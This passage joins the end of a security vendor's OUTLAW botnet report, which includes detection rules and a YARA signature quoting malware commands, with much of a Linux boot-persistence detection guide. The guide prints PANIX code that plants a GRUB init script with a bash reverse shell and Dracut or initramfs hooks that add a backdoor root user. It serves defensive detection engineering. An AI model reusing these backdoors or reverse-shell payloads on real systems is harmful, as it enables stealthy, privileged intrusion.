We can further enhance detection through the following hunting query:

• Hidden Process Execution

TA006: Credential Access

OUTLAW maintains persistent access to a compromised system by manipulating credentials. Following successful SSH brute-force authentication, the malware replaces the existing SSH authorized_keys file with a new version containing a malicious SSH public key, thereby granting persistent access. This is detected through the following signals:

• SSH Authorized Keys File Modification
• SSH Authorized Keys File Deletion

The malware then changes the user credentials for the authenticated account by entering a new password using the passwd utility:

• Linux User Account Credential Modification

TA007: Discovery

OUTLAW gathers system information upon successful infection to profile the compromised environment. The malware executes various commands to collect details about the system’s CPU, user privileges, operating system, memory usage, and available binaries. This reconnaissance step helps the attacker assess the system’s capabilities and determine how best to utilize the compromised machine. These are all detected through several building block rules, as listed in our rules_building_block directory. Below is a short list of the most important ones triggered by OUTLAW:

• Linux System Information Discovery
• Process Discovery via Built-In Applications
• System Owner/User Discovery Linux
• Account or Group Discovery via Built-In Tools
• System Network Connections Discovery

The default interface settings do not include building block rules due to their relatively high noise levels. However, these rules can be enabled to assist in the identification of potential threats.

TA008: Lateral Movement

OUTLAW malware spreads through a compromised network by carrying out internal SSH brute-force attacks. We can identify this behavior through the following ES|QL rules:

• Potential Port Scanning Activity from Compromised Host
• Potential Subnet Scanning Activity from Compromised Host

Once a system is successfully brute-forced, the malware package, dota3.tar.gz, is deployed from the infected host to the new target. The local subnet is then scanned for additional targets to ensure the malware's continued propagation.

Elastic pre-built detection rules can identify these lateral movement attempts:

• Potential Internal Linux SSH Brute Force Detected
• Remote File Creation in World Writeable Directory
• Unusual Remote File Creation

Additionally, upon copying the OUTLAW malware to a remote host, malware prevention alerts kick in.

TA009: Collection & TA010: Exfiltration

OUTLAW collects basic system information, credentials, and SSH details from compromised machines, primarily for tracking infected hosts and facilitating further attacks. This data is stored in a simple text file before being uploaded to a C2 server. Since this collection activity is limited to gathering system details and writing them to a file, it is not inherently suspicious on its own.

Exfiltration occurs when OUTLAW initiates an outbound SSH connection via sftp-server to transfer the collected information to a predefined C2 server. While this may resemble normal SSH activity, we can detect suspicious execution of file transfer utilities through ES|QL:

• Unusual File Transfer Utility Launched

TA011: Command and Control

OUTLAW maintains communication with its C2 infrastructure through multiple channels, allowing attackers to issue commands, exfiltrate data, and manage infected systems. We can detect several of the utilities used by the malware through the following rules:

• Socat Reverse Shell or Listener Activity
• High Number of Egress Network Connections from Unusual Executable
• Suspicious Network Activity to the Internet by Previously Unknown Executable.

The same hunting queries that were relevant for detecting the malware’s initial access attempts, can also be used to hunt for this C2 activity. Additionally, the following hunting queries can be used:

• Low Volume External Network Connections from Process by Unique Agent
• Unusual File Downloads from Source Addresses
• Excessive SSH Network Activity to Unique Destinations

TA040: Impact

OUTLAW impacts infected systems by consuming CPU resources for cryptocurrency mining and performing SSH brute-force attacks to propagate. Several CPU and memory optimizations are attempted before launching the modified XMRIG mining software, including enabling MSR write access and setting kernel parameters such as hugepages. These modifications can be detected through the following rules:

• Suspicious Kernel Feature Activity
• MSR Write Access Enabled

As OUTLAW attempts to enable MSR write access via modprobe but lacks the required permissions, kernel driver-related rules are triggered:

• Kernel Driver Load by Non-Root User
• Kernel Driver Load

These rules directly monitor for init_module() and finit_module() syscalls, through Auditd. For more information on how to set up the Auditd Manager integration to capture driver events and much more, check out the Linux Detection Engineering with Auditd publication.

Simultaneously, SSH brute-force attempts are launched from the infected host, triggering:

• Potential Malware-Driven SSH Brute Force Attempt

Throughout its execution, OUTLAW runs kill scripts to terminate competing malware or leftover processes from previous infections. This behavior triggers:

• Kill Command Executed
• Kill Command Executed from Binary in Unusual Location
• Kill Command Executed from a Hidden Process

Indicators of Compromise (IOCs)

The complete set of indicators can be found as a bundle on Github.

Yara Signatures

rule Linux_Hacktool_Outlaw_cf069e73 {
    meta:
        author = "Elastic Security"
        description = "OUTLAW SSH bruteforce component fom the Dota3 package"
        reference_sample = "c3efbd6b5e512e36123f7b24da9d83f11fffaf3023d5677d37731ebaa959dd27"
      
    strings:
        $ssh_key_1 = "MIIJrTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQI8vKBZRGKsHoCAggA"
        $ssh_key_2 = "MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAECBBBC3juWsJ7DsDd2wH2XI+vUBIIJ"
        $ssh_key_3 = "UCQ2viiVV8pk3QSUOiwionAoe4j4cBP3Ly4TQmpbLge9zRfYEUVe4LmlytlidI7H"
        $ssh_key_4 = "O+bWbjqkvRXT9g/SELQofRrjw/W2ZqXuWUjhuI9Ruq0qYKxCgG2DR3AcqlmOv54g"
        $path_1 = "/home/eax/up"
        $path_2 = "/var/tmp/dota"
        $path_3 = "/dev/shm/ip"
        $path_4 = "/dev/shm/p"
        $path_5 = "/var/tmp/.systemcache"
        $cmd_1 = "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"
        $cmd_2 = "cd ~; chattr -ia .ssh; lockr -ia .ssh"
        $cmd_3 = "sort -R b | awk '{ if ( NF == 2 ) print } '> p || cat b | awk '{ if ( NF == 2 ) print } '> p; sort -R a"
        $cmd_4 = "rm -rf /var/tmp/dota*"
        $cmd_5 = "rm -rf a b c d p ip ab.tar.gz"
    condition:
        (all of ($ssh_key*)) or (3 of ($path*) and 3 of ($cmd*))
}

SIEM and Endpoint Rules Overview by MITRE ATT&CK Tactic

Conclusion

OUTLAW exemplifies how even unsophisticated malware can persist and scale effectively in modern environments. Despite lacking advanced evasion techniques, its combination of SSH brute-force attacks, self-replication, and modular components allows it to maintain a long-running botnet. OUTLAW ensures continuous expansion with minimal attacker intervention by leveraging compromised hosts to propagate infections further.

Our honeypot experiment provided a rare glimpse into the attacker's real-world behavior, confirming that while much of OUTLAW’s operation is automated, there are moments of direct human interaction. The ability to observe manual commands, reconnaissance attempts, and even simple typographical errors highlights an often-overlooked aspect of botnet maintenance—operator-driven quality control. These insights reinforce the need for detection strategies that account not just for automated attacks but also for manual post-compromise activity.

By understanding how OUTLAW operates, spreads, and monetizes infections, defenders can develop robust detection strategies to mitigate its impact. This report provides actionable SIEM rules, threat-hunting queries, and forensic insights, enabling security teams to stay ahead of similar evolving threats.

References

[1] CounterCraft, DOTA3 Malware Again and Again

[2] Juniper Networks, DOTA3: Is Your Internet of Things Device Moonlighting?

[3] SANS ISC, Hygiene Hygiene Hygiene

[4] Darktrace, Outlaw Returns: Uncovering Returning Features and New Tactics

Welcome to the grand finale of the “Linux Persistence Detection Engineering” series! In this fifth and final part, we continue to dig deep into the world of Linux persistence. Building on the foundational concepts and techniques explored in the previous publications, this post discusses some more obscure, creative and/or complex backdoors and persistence mechanisms.

If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:

• Linux Detection Engineering - A Primer on Persistence Mechanisms
• Linux Detection Engineering - A Sequel on Persistence Mechanisms
• Linux Detection Engineering - A Continuation on Persistence Mechanisms
• Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms

In this publication, we’ll provide insights into these persistence mechanisms by showcasing:

• How each works (theory)
• How to set each up (practice)
• How to detect them (SIEM and Endpoint rules)
• How to hunt for them (ES|QL and OSQuery reference hunts)

To make the process even more engaging, we will be leveraging PANIX, a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.

By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to uncover the final pieces of the Linux persistence puzzle? Let’s dive in!

Setup note

To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to enable and update our pre-built detection rules. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.

T1542 - Pre-OS Boot: GRUB Bootloader

GRUB (GRand Unified Bootloader) is a widely used bootloader in Linux systems, responsible for loading the kernel and initializing the operating system. GRUB provides a flexible framework that supports various configurations, making it a powerful tool for managing the boot process. It acts as an intermediary between the system firmware (BIOS/UEFI) and the operating system. When a Linux system is powered on, the following sequence typically occurs:

1. System Firmware

• BIOS or UEFI initializes hardware components (e.g., CPU, RAM, storage devices) and performs a POST (Power-On Self-Test).
• It then locates the bootloader on the designated boot device (usually based on boot priority settings).

2. GRUB Bootloader

• GRUB is loaded into memory.
• It displays a menu (if enabled) that allows users to select an operating system, kernel version, or recovery mode.
• GRUB loads the kernel image (vmlinuz) into memory, as well as the initramfs/initrd image (initrd.img), which is a temporary root filesystem used for initial system setup (e.g., loading kernel modules for filesystems and hardware).
• GRUB passes kernel parameters (e.g., the location of the root filesystem, boot options) and hands over control to the kernel.

3. Kernel Execution

• The kernel is unpacked and initialized. It begins detecting and initializing system hardware.
• The kernel mounts the root filesystem specified in the kernel parameters.
• It starts the init system (traditionally init, now often systemd), which is the first process (PID 1) that initializes and manages the user space.
• The init system sets up services, mounts filesystems, and spawns user sessions.

GRUB’s configuration system is flexible and modular, enabling administrators to define bootloader behavior, kernel parameters, and menu entries. All major distributions use /etc/default/grub as the primary configuration file for GRUB. This file contains high-level options, such as default kernel parameters, boot timeout, and graphical settings. For example:

GRUB_TIMEOUT=5                       # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0                       # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters
GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters

To enhance flexibility, GRUB supports a modular approach to configuration through script directories. These are typically located in /etc/default/grub.d/ (Ubuntu/Debian) and /etc/grub.d/ (Fedora/CentOS/RHEL). The scripts in these directories are combined into the final configuration during the update process.

Prior to boot, the GRUB bootloader must be compiled. The compiled GRUB configuration file is the final output used by the bootloader at runtime. It is generated from the settings in /etc/default/grub and the modular scripts in /etc/grub.d/ (or similar directories and files for other distributions). This configuration is then stored in /boot/grub/grub.cfg for BIOS systems, and /boot/efi/EFI/<distro>/grub.cfg for UEFI systems.

On Ubuntu and Debian-based systems, the update-grub command is used to generate the GRUB configuration. For Fedora, CentOS, and RHEL systems, the equivalent command is grub2-mkconfig. Upon generation of the configuration, the following events occur:

1. Scripts Execution:

• All modular scripts in /etc/default/grub.d/ or /etc/grub.d/ are executed in numerical order.

2. Settings Aggregation:

• Parameters from /etc/default/grub and modular scripts are merged.

3. Menu Entries Creation:

• GRUB dynamically detects installed kernels and operating systems and creates corresponding menu entries.

4. Final Compilation:

• The combined configuration is written to /boot/grub/grub.cfg (or the UEFI equivalent path), ready to be used at the next boot.

Attackers can exploit GRUB’s flexibility and early execution in the boot process to establish persistence. By modifying GRUB configuration files, they can inject malicious parameters or scripts that execute with root privileges before the operating system fully initializes. Attackers can:

1. Inject Malicious Kernel Parameters:

• Adding parameters like init=/payload.sh in /etc/default/grub or directly in the GRUB menu at boot forces the kernel to execute a malicious script instead of the default init system.

2. Modify Menu Entries:

• Attackers can alter menu entries in /etc/grub.d/ to include unauthorized commands or point to malicious kernels.

3. Create Hidden Boot Entries:

• Adding extra boot entries with malicious configurations that are not displayed in the GRUB menu.

As GRUB operates before the system’s typical EDR and other solution mechanisms are active, this technique is especially hard to detect. Additionally, knowledge scarcity around these types of attacks makes detection difficult, as malicious parameters or entries can appear similar to legitimate configurations, making manual inspection prone to oversight.

GRUB manipulation falls under T1542: Pre-OS Boot in the MITRE ATT&CK framework. This technique encompasses attacks targeting bootloaders to gain control before the operating system initializes. Despite its significance, there is currently no dedicated sub-technique for GRUB-specific attacks.

In the next section, we’ll explore how attackers can establish persistence through GRUB by injecting malicious parameters and modifying bootloader configurations.

Persistence through T1542 - Pre-OS Boot: GRUB Bootloader

In this section we will be looking at the technical details related to GRUB persistence. To accomplish this, we will be leveraging the setup_grub.sh module from PANIX, a custom-built Linux persistence tool. By simulating this technique, we will be able to research potential detection opportunities.

The GRUB module detects the Linux distribution it is running on, and determines the correct files to modify, and support tools necessary to establish persistence. There is no compatibility built into PANIX for Fedora-based operating systems within this module, due to the restricted environment available within the boot process. PANIX determines whether the payload is already injected, and if not, creates a custom configuration (cfg) file containing the init=/grub-panix.sh parameter. GRUB configuration files are loaded in ascending order, based on the modules’ numeric prefix. To ensure the injected module is loaded last, the priority is set to 99.

local grub_custom_dir="/etc/default/grub.d"
local grub_custom_file="${grub_custom_dir}/99-panix.cfg"

echo "[*] Creating custom GRUB configuration file: $grub_custom_file"
cat <<EOF > "$grub_custom_file"
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh"
EOF

After this configuration file is in place, the /grub-panix.sh script is created, containing a payload that sleeps for a certain amount of time (to ensure networking is available), after which it executes a reverse shell payload, detaching itself from its main process to ensure no hang ups.

payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &"

local init_script="/grub-panix.sh"
echo "[*] Creating backdoor init script at: $init_script"
cat <<EOF > "$init_script"
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
(
	echo "[*] Panix backdoor payload will execute after 10 seconds delay."
	${payload}
	echo "[+] Panix payload executed."
) &
exec /sbin/init
EOF

After these files are in place, all that is left is to update GRUB to contain the embedded backdoor module by running update-grub.

Let’s take a look at what this process looks like from a detection engineering perspective. Run the PANIX module through the following command:

> sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.

Upon execution of the module, and rebooting the machine, the following documents can be observed in Kibana:

Upon execution of PANIX, we can see a backup of /etc/default/grub, a new modular grub configuration, /etc/default/grub.d/99-panix.cfg, and the backdoor payload (/grub-panix.sh) being created. After granting the backdoor the necessary execution permissions, GRUB is updated through the update-grub executable, and the backdoor is now ready. Upon reboot, /grub-panix.sh is executed by init, which is systemd for most modern operating systems, successfully executing the reverse shell chain of /grub-panix.sh → nohup → setsid → bash. The reason its event.action value is already-running, is due to the payload being executed during the boot process, prior to the initialization of Elastic Defend. Depending on the boot stage of execution, Elastic Defend will be able to capture missed events with this event.action, allowing us to still detect the activity.

Let’s take a look at the coverage:

Detection and endpoint rules that cover GRUB bootloader persistence

You can revert the changes made by PANIX by running the following revert command:

> ./panix.sh --revert grub

[*] Reverting GRUB persistence modifications...
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.

Hunting for T1542 - Pre-OS Boot: GRUB Bootloader

Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing or environmental constraints. This publication lists the available hunts for GRUB bootloader persistence; however, more details regarding the basics of threat hunting are outlined in the “Hunting for T1053 - scheduled task/job” section of “Linux Detection Engineering - A primer on persistence mechanisms”. Additionally, descriptions and references can be found in our Detection Rules repository, specifically in the Linux hunting subdirectory.

We can hunt for GRUB bootloader persistence through ES|QL and OSQuery, focusing on file creations, modifications, and executions related to GRUB configurations. The approach includes monitoring for the following:

1. Creations and/or modifications to GRUB configuration files: Tracks changes to critical files such as the GRUB configuration file and modules, and the compiled GRUB binary. These files are essential for bootloader configurations and are commonly targeted for GRUB-based persistence.
2. Execution of GRUB-related commands: Monitors for commands like grub-mkconfig, grub2-mkconfig, and update-grub, which may indicate attempts to modify GRUB settings or regenerate boot configurations.
3. Metadata analysis of GRUB files: Identifies ownership, access times, and recent changes to GRUB configuration files to detect unauthorized modifications.
4. Kernel and Boot Integrity Monitoring: Tracks critical kernel and boot-related data using ES|QL and OSQuery tables such as secureboot, platform_info, kernel_info, and kernel_keys, providing insights into the system’s boot integrity and kernel configurations.

By combining the Persistence via GRUB Bootloader and General Kernel Manipulation hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1542.

T1542- Pre-OS Boot: Initramfs

Initramfs (Initial RAM Filesystem) is a vital part of the Linux boot process, acting as a temporary root filesystem loaded into memory by the bootloader. It enables the kernel to initialize hardware, load necessary modules, and prepare the system to mount the real root filesystem.

As we learnt in the previous section, the bootloader (e.g., GRUB) loads two key components: the kernel (vmlinuz) and the initramfs image (initrd.img). The initrd.img is a compressed filesystem, typically stored in /boot/, containing essential drivers, binaries (e.g. busybox), libraries, and scripts for early system initialization. Packed in formats like gzip, LZ4, or xz, it extracts into a minimal Linux filesystem with directories like /bin, /lib, and /etc. Once the real root filesystem is mounted, control passes to the primary init system (e.g., systemd), and the initramfs is discarded.

Initramfs plays a central role in the Linux boot process, but it doesn't work in isolation. The /boot/ directory houses essential files that enable the bootloader and kernel to function seamlessly. These files include the kernel binary, the initramfs image, and configuration data necessary for system initialization. Here's a breakdown of these critical components:

• vmlinuz-<version>: A compressed Linux kernel binary.
• vmlinuz: A symbolic link to the compressed Linux kernel binary.
• initrd.img-<version> or initramfs.img-<version>: The initramfs image containing the temporary filesystem.
• initrd.img or initramfs.img: A symbolic link to the initramfs image.
• config-<version>: Configuration options for the specific kernel version.
• System.map-<version>: Kernel symbol map used for debugging.
• grub/: Bootloader configuration files.

Similar to GRUB, initramfs is executed early in the boot process and therefore an interesting target for attackers seeking stealthy persistence. Modifying its contents—such as adding malicious scripts or altering initialization logic—enables execution of malicious code before the system fully initializes.

While there is currently no specific subsection for initramfs, modification of the boot process falls under T1542, Pre-OS Boot in the MITRE ATT&CK framework.

The next section will explore how attackers might manipulate initramfs, the methods they could use to embed persistence mechanisms, and how to detect and mitigate these threats effectively.

T1542 - Initramfs: Manual Modifications

Modifying initramfs to establish persistence is a technique discussed in the “Initramfs Persistence Technique” blog published on Breachlabs.io. At its core, modifying initramfs involves unpacking its compressed filesystem, making changes, and repacking the image to maintain functionality while embedding persistence mechanisms. This process is not inherently malicious; administrators might modify initramfs to add custom drivers or configurations. However, attackers can exploit this flexibility to execute malicious actions before the primary operating system is fully loaded.

An example technique involves adding code to the init script to manipulate the host filesystem—such as creating a backdoor user, altering system files/services, or injecting scripts that persist across reboots.

While there are helper tools for working with initramfs, manual modifications are possible through low-level utilities such as binwalk. Binwalk is particularly useful for analyzing and extracting compressed archives, making it a good choice for inspecting and deconstructing the initramfs image.

In the following section, we’ll provide a detailed explanation of the manual initramfs modification process.

Persistence through T1542 - Initramfs: Manual Modifications

In this section we will be “manually” manipulating initramfs to add a backdoor onto the system during the boot process. To do so, we will use the setup_initramfs.sh module from PANIX. Let’s analyze the most important aspects of the module to ensure we understand what is going on.

Upon execution of the module, the initrd.img file is backed up, as implementing a technique like this may disrupt the boot process, and having a back up available is always recommended. Next, a temporary directory is created, and the initramfs image is copied there. Through binwalk, we can identify and map out the different embedded archives within the initrd.img (such as the CPU microcode cpio archive and the gzipped cpio archive containing the mini Linux filesystem). The string TRAILER!!! marks the end of a cpio archive, letting us know exactly where one archive finishes so we can separate it from the next. In other words, binwalk shows us where to split the file, and the TRAILER!!! marker confirms the boundary of the microcode cpio before we extract and rebuild the rest of the initramfs. For more detailed information, take a look at the original author’s “Initramfs Persistence Technique” blog.

# Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z "$ADDRESS" ]]; then
	echo "Error: Could not determine trailer address using binwalk."
	exit 1
fi
echo "[*] Trailer address: $ADDRESS"

This section extracts and unpacks parts of the initrd.img file for modification. The dd command extracts the first cpio archive (microcode) up to the byte offset marked by TRAILER!!!, saving it as initrd.img-begin for later reassembly. Next, unmkinitramfs unpacks the remaining filesystem from initrd.img into a directory (initrd_extracted), enabling modifications.

dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exit 1; }

unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; }

Once the filesystem is extracted, it can be modified to achieve persistence. This process focuses on manipulating the init file, which is responsible for initializing the Linux system during boot. The code performs the following:

1. Mount the root filesystem as writable.
2. Attempt to create a new user with sudo privileges in two steps:
   1. Check whether the supplied user exists already, if yes, abort.
   2. If the user does not exist, add the user to /etc/shadow, /etc/passwd and /etc/group manually.

This payload can be altered to whatever payload is desired. As the environment in which we are working is very limited, we need to make sure to only use tools that are available.

After adding the correct payload, initramfs can be repacked. The script uses:

find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end

To repack the filesystem into initrd.img-end. It ensures all files are owned by root:root (-R 0:0) and uses the newc format compatible with initramfs.

The previously extracted microcode archive (initrd.img-begin) is concatenated with the newly created archive (initrd.img-end) using cat to produce a final initrd.img-new:

cat initrd.img-begin initrd.img-end > initrd.img-new

The new initrd.img-new replaces the original initramfs file, ensuring the system uses the modified version on the next boot.

Now that we understand the process, we can run the module and let the events unfold. Note: not all Linux distributions specify the end of a cpio archive with the TRAILER!!! string, and therefore this automated technique will not work for all systems. Let’s continue!

> sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '<hash>' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.

Let’s take a look at the events that are generated in Kibana:

Looking at the execution logs, we can see that openssl is used to generate a passwd hash. Afterwards, the initramfs image is copied to a temporary directory, and binwalk is leveraged to find the address of the filesystem. Once the correct section is found, unmkinitramfs is called to extract the filesystem, after which the payload is added to the init file. Next, the filesystem is repacked through gzip and cpio, and combined into a fully working initramfs image with the microcode, filesystem and other sections. This image is then copied to the /boot/ directory, overwriting the currently active initramfs image. Upon reboot, the new panix user with root permissions is available.

Let’s take a look at the coverage:

Detection and endpoint rules that cover manual initramfs persistence

You can revert the changes made by PANIX by running the following revert command:

> ./panix.sh --revert initramfs

[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

Hunting for T1542 - Initramfs: Manual Modifications

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like binwalk. This technique typically involves extracting, analyzing, and modifying initramfs files to inject malicious components or scripts into the boot process. The approach includes monitoring for the following:

1. Execution of Binwalk with Suspicious Arguments: Tracks processes where binwalk is executed to extract or analyze files. This can reveal attempts to inspect or tamper with initramfs contents.
2. Creations and/or Modifications to Initramfs Files: Tracks changes to the initramfs file (/boot/initrd.img).
3. General Kernel Manipulation Indicators: Leverages queries such as monitoring secureboot, kernel_info, and file changes within /boot/ to detect broader signs of kernel and bootloader manipulation, which may overlap with initramfs abuse.

By combining the Persistence via Initramfs and General Kernel Manipulation hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1542.

T1542 - Initramfs: Modifying with Dracut

Dracut is a versatile tool for managing initramfs in most Linux systems. Unlike manual methods that require deconstructing and reconstructing initramfs, Dracut provides a structured, modular approach. It simplifies creating, modifying, and regenerating initramfs images while offering a robust framework to add custom functionality. It generates initramfs images by assembling a minimal Linux environment tailored to the system's needs. Its modular design ensures that only the necessary drivers, libraries, and scripts are included.

Dracut operates through modules, which are self-contained directories containing scripts, configuration files, and dependencies. These modules define the behavior and content of the initramfs. For example, they might include drivers for specific hardware, tools for handling encrypted filesystems, or custom logic for pre-boot operations.

Dracut modules are typically stored in:

• /usr/lib/dracut/modules.d/
• /lib/dracut/modules.d/

Each module resides in a directory named in the format XXname, where XX is a two-digit number defining the load order, and name is the module name (e.g., 01base, 95udev).

The primary script that defines how the module integrates into the initramfs is called module-setup.sh. It specifies which files to include and what dependencies are required. Here is a basic example of a module-setups.sh script:

#!/bin/bash

check() {
  return 0 
}

depends() {
  echo "base"
}

install() {
  inst_hook cmdline 30 "$moddir/my_custom_script.sh"
  inst_simple /path/to/needed/binary
}

• check(): Determines whether the module should be included. Returning 0 ensures the module is always included.
• depends(): Specifies other modules this one depends on (e.g., base, udev).
• install(): Defines what files or scripts to include. Functions like inst_hook and inst_simple simplify the process.

Using Dracut, attackers or administrators can easily modify initramfs to include custom scripts or functionality. For example, a malicious actor might:

• Add a script that executes commands on boot.
• Alter existing modules to modify system behavior before the root filesystem is mounted.

In the next section, we’ll walk through creating a custom Dracut module to modify initramfs.

Persistence through T1542 - Initramfs: Modifying with Dracut

It is always a great idea to walk before we run. In the previous section we learnt how to manipulate initramfs manually, which can be difficult to set up. Now that we understand the basics, we can persist much easier by using a helper tool called Dracut, which is available by default on many Linux systems. Let’s take a look at the setup_initramfs.sh module again, but this time with a focus on the Dracut section.

This PANIX module creates a new Dracut module directory at /usr/lib/dracut/modules.d/99panix, and creates a module-setup.sh file with the following contents:

#!/bin/bash
check()  { return 0; }
depends() { return 0; }
install() {
	inst_hook pre-pivot 99 "$moddir/backdoor-user.sh"
}

This script ensures that when the initramfs is built using Dracut, the custom script (backdoor-user.sh) is embedded and configured to execute at the pre-pivot stage during boot. By running at the pre-pivot stage, the script executes before control is handed over to the main OS, ensuring it can make modifications to the real root filesystem.

After granting module-setup.sh execution permissions, the module continues to create the backdoor-user.sh file. To view the full content, inspect the module source code. The important parts are:

#!/bin/sh

# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2>/dev/null || {
	echo "[dracut] Could not remount /sysroot as RW. Exiting."
	exit 1
}
[...]

if check_user_exists "${username}" /sysroot/etc/shadow; then
    echo "[dracut] User '${username}' already exists in /etc/shadow."
else
    echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow
    echo "[dracut] Added '${username}' to /etc/shadow."
fi

[...]

First, the script ensures that the root filesystem (/sysroot) is writable. If this check completes, the script continues to add a new user by manually modifying the /etc/shadow, /etc/passwd and /etc/group files. The most important thing to notice is that these scripts rely on built-in shell utilities, as utilities such as grep or sed are not available in this environment. After writing the script, it is granted execution permissions and is good to go.

Finally, Dracut is called to rebuild initramfs for the kernel version that is currently active:

dracut --force /boot/initrd.img-$(uname -r) $(uname -r)

Once this step completes, the modified initramfs is active, and rebooting the machine will result in the backdoor-user.sh script being executed.

As always, first we take a snapshot, then we run the module:

> sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password <hash> into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.

And take a look at the documents available in Discover:

Upon execution, openssl is used to create a password hash for the secret password. Afterwards, the directory structure /usr/lib/dracut/modules.d/99panix is created, and the module-setup.sh and backdoor-user.sh scripts are created and granted execution permissions. After regeneration of the initramfs completes, the backdoor has been planted, and will be active upon reboot.

Let’s take a look at the coverage:

Detection and endpoint rules that cover dracut initramfs persistence

You can revert the changes made by PANIX by running the following revert command:

> ./panix.sh --revert initramfs

[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

Hunting for T1542 - Initramfs: Modifying with Dracut

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like Dracut. The approach includes monitoring for the following:

1. Execution of Dracut with Suspicious Arguments: Tracks processes where Dracut is executed to regenerate or modify initramfs files, especially with non-standard arguments. This can help identify unauthorized attempts to modify initramfs.
2. Creations and/or Modifications to Dracut Modules: Monitors changes within /lib/dracut/modules.d/ and /usr/lib/dracut/modules.d/, which store custom and system-wide Dracut modules. Unauthorized modifications here may indicate attempts to persist malicious functionality.
3. General Kernel Manipulation Indicators: Utilizes queries like monitoring secureboot, kernel_info, and file changes within /boot/ to detect broader signs of kernel and bootloader manipulation that could be related to Initramfs abuse.

By combining the Persistence via Initramfs and General Kernel Manipulation hunting rules and the tailored detection queries listed above, you can effectively identify and respond to T1542.

T1543 - Create or Modify System Process: PolicyKit

PolicyKit (or Polkit) is a system service that provides an authorization framework for managing privileged actions in Linux systems. It enables fine-grained control over system-wide privileges, allowing non-privileged processes to interact with privileged ones securely. Acting as an intermediary between system services and users, Polkit determines whether a user is authorized to perform specific actions. For instance, it governs whether a user can restart network services or install software without requiring full sudo permissions.

Polkit authorization is governed by rules, actions, and authorization policies:

• Actions: Defined in XML files (.policy), these specify the operations Polkit can manage, such as org.freedesktop.systemd1.manage-units.
• Rules: JavaScript-like files (.rules) determine how authorization is granted for specific actions. They can check user groups, environment variables, or other conditions.
• Authorization Policies: .pkla files set default or per-user/group authorizations for actions, determining whether authentication is required.

